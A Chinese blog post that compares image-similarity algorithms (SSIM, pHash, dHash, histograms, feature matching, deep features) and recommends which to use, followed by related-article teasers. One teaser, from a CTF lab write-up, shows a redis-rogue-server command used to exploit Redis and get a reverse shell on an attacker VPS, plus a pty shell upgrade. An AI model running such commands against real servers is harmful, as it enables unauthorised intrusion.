图片相似度对比SSIM和PHash

news/2024/9/21 18:44:26/文章来源:https://www.cnblogs.com/TeemoHQ/p/18369530

选择最准确的图像对比算法取决于你的具体需求和应用场景。不同的算法在不同的场景下表现可能不同。以下是一些常见的图像对比算法及其适用场景:

1. 结构相似性 (Structural Similarity Index, SSIM)
描述: SSIM 是一种用来衡量两张图像之间的相似度的指标,它考虑了亮度、对比度、结构信息,并且更接近人眼的视觉感知。
优点: 对图像细节和结构的敏感度高,适用于质量评价。
适用场景: 图像质量评估、图像压缩、去噪等。
2. 感知哈希 (Perceptual Hashing, pHash)
描述: pHash 是一种基于图像内容生成哈希值的算法,主要用于检测图像内容相似性。
优点: 对轻微的图像变形(如缩放、旋转、颜色变化)有较好的鲁棒性。
适用场景: 图像去重、相似图像搜索、图像检索。
3. 直方图比较 (Histogram Comparison)
描述: 通过比较图像的颜色分布来判断图像的相似度。常用的距离度量包括巴氏距离(Bhattacharyya distance)、相交度量(Intersection)、相关性(Correlation)等。
优点: 适合颜色信息丰富的图像,对亮度和颜色变化不敏感。
适用场景: 图像分类、基于颜色的图像检索。
4. 特征点匹配 (Feature Matching)
描述: 基于关键点(如 SIFT、SURF、ORB 等)检测和描述的算法,通过比较图像中检测到的关键点来判断相似性。
优点: 对几何变换(如旋转、缩放、透视变换)有很好的鲁棒性。
适用场景: 图像拼接、物体识别、图像配准。
5. 深度学习方法 (Deep Learning-based Methods)
描述: 使用预训练的卷积神经网络(如 VGG、ResNet)提取图像特征,然后通过计算特征向量之间的距离来判断相似度。
优点: 对复杂图像内容有很强的表达能力,可以捕捉高级语义特征。
适用场景: 图像分类、内容检索、人脸识别、视觉搜索。
6. 差异哈希 (Difference Hash, dHash)
描述: 基于图像相邻像素的差值来计算哈希值,是感知哈希的另一种变体。
优点: 计算简单,能够快速判断图像的整体结构差异。
适用场景: 图像去重、快速图像比对。


选择算法的建议
图像质量评估:选择 SSIM,因为它考虑了亮度、对比度、结构等多个维度。
图像去重和内容相似性检测:选择 pHash 或 差异哈希(dHash),因为它们对图像的微小变化有较好的鲁棒性。
基于颜色的相似性:使用 直方图比较,这对于颜色丰富的图像效果较好。
处理几何变换(如旋转、缩放等):选择 特征点匹配(如 SIFT、ORB 等)。
复杂图像和语义相似性:使用 深度学习方法,因为它们可以捕捉到更复杂的语义信息。

下面一个实现SSIM和PHash 对比不同的图片。 项目代码:https://github.com/TeemoHQ/ImageSimilarityUI

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784339.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图论杂题 做题笔记

在这个随笔中,会有笔者的一些做题笔记,包括但不限于图论的思想、解题技巧、代码实现等。在这个随笔中,会有笔者的一些做题笔记,包括但不限于图论的思想、解题技巧、代码实现等。

图论杂题

在这个随笔中,会有笔者的一些做题笔记,包括但不限于图论的思想、解题技巧、代码实现等。在这个随笔中,会有笔者的一些做题笔记,包括但不限于图论的思想、解题技巧、代码实现等。

《DNK210使用指南 -CanMV版 V1.0》

第二十章 machine.I2C类实验 1)实验平台:正点原子DNK210开发板 2)章节摘自【正点原子】DNK210使用指南 - CanMV版 V1.0 3)购买链接:https://detail.tmall.com/item.htm?&id=782801398750 4)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/k210…

AnolisOS 7.9 静默安装Oacle 11.2.0.4

目录环境准备安装包下载上传安装包创建组和用户创建目录及设置权限编辑用户环境变量编辑资源限制修改内核参数编辑/etc/pam.d/login文件安装依赖包关闭防火墙selinux安装数据库软件准备db_install.rsp响应文件运行runInstaller进行安装创建监听创建数据库准备dbca.rsp响应文件创…

电压电流表设计文档

本工程基于立创开发板的电压电流表训练营,在原项目基础上增加了1.8寸TFT屏幕,ESP32蓝牙芯片,USB接口,3.7V锂电池接口及其充电电流、SD卡接口,W25Q64芯片。摘要 设想设计概述 系统组成及功能说明理论成立,开始实现原理图绘制以及器件选型 软件设计实现中遇到的问题设计问题…

TA实践分享:材质与渲染——植物与风(Unity+UE)

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!一、美术分析下面是风格化和写实两种风格的草地效果,看上去是两种不搭边的美术表现形式,但拆解其背后的美术特征和实现原理二者在我们…

1线性回归

一、概念 线性回归是机器学习中有监督机器学习下的一种算法。 回归问题主要关注的是因变量y(需要预测的值,可以是一个也可以是多个)和一个或多个数值型的自变量x(预测变量)之间的关系。需要预测的值:目标变量(target,y,连续值预测变量)。 影响目标变量的因素:X1..Xn…

设计模式之cglib动态代理

什么是动态代理呢?动态代理就是在java进程运行时,通过字节码技术,动态的生成某个类的代理类。在这个代理类中,我们可以做一些额外的操作,一方面仍然保持原有的方法的能力,另外一方面还增强了这些能力。听着是不是AOP有点像,没错,动态代理就是AOP的技术基石。在这之前我…

yarn 失败

1、输入yarn后,下载失败报错 connect ETIMEDOUT 10.136.33.5:8081at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1141:16)[1/4] Resolving packages... [2/4] Fetching packages... info There appears to be trouble with your network connection. Retrying... i…

AtCoder ABC 367

题解前言 本题解部分思路来自于网络,仅供参考。 A - Shout Everyday 题目大意 给定 Takahashi 每天的睡觉时间和起床时间,求 Takahashi 在 $A$ 时是睡着的还是清醒的。 解题思路 根据题意模拟即可。 code #include <bits/stdc++.h> using namespace std; int main() {i…

Ros2 MoveIt2 MoveGroup C++接口

在 MoveIt 中,最简单的用户界面是通过 MoveGroupInterface 类。 它为用户可能想要执行的大多数操作提供了易于使用的功能,特别是设置关节或姿势目标、创建运动计划、移动机器人、将对象添加到环境中以及从机器人上连接/分离对象。 此接口通过 ROS 主题、服务和操作与 MoveGro…

春秋云镜 Brute4Road

春秋云镜 Brute4Road先用fscan扫一下内网尝试打redis主从 python3 redis-rogue-server.py --rhost 39.98.122.75 --lhost 123.57.23.40 需要在vps下使用,选择r,然后输入要反弹的ip,port 使用pty获得交互式shell python -c import pty;pty.spawn("/bin/bash")尝试UID提…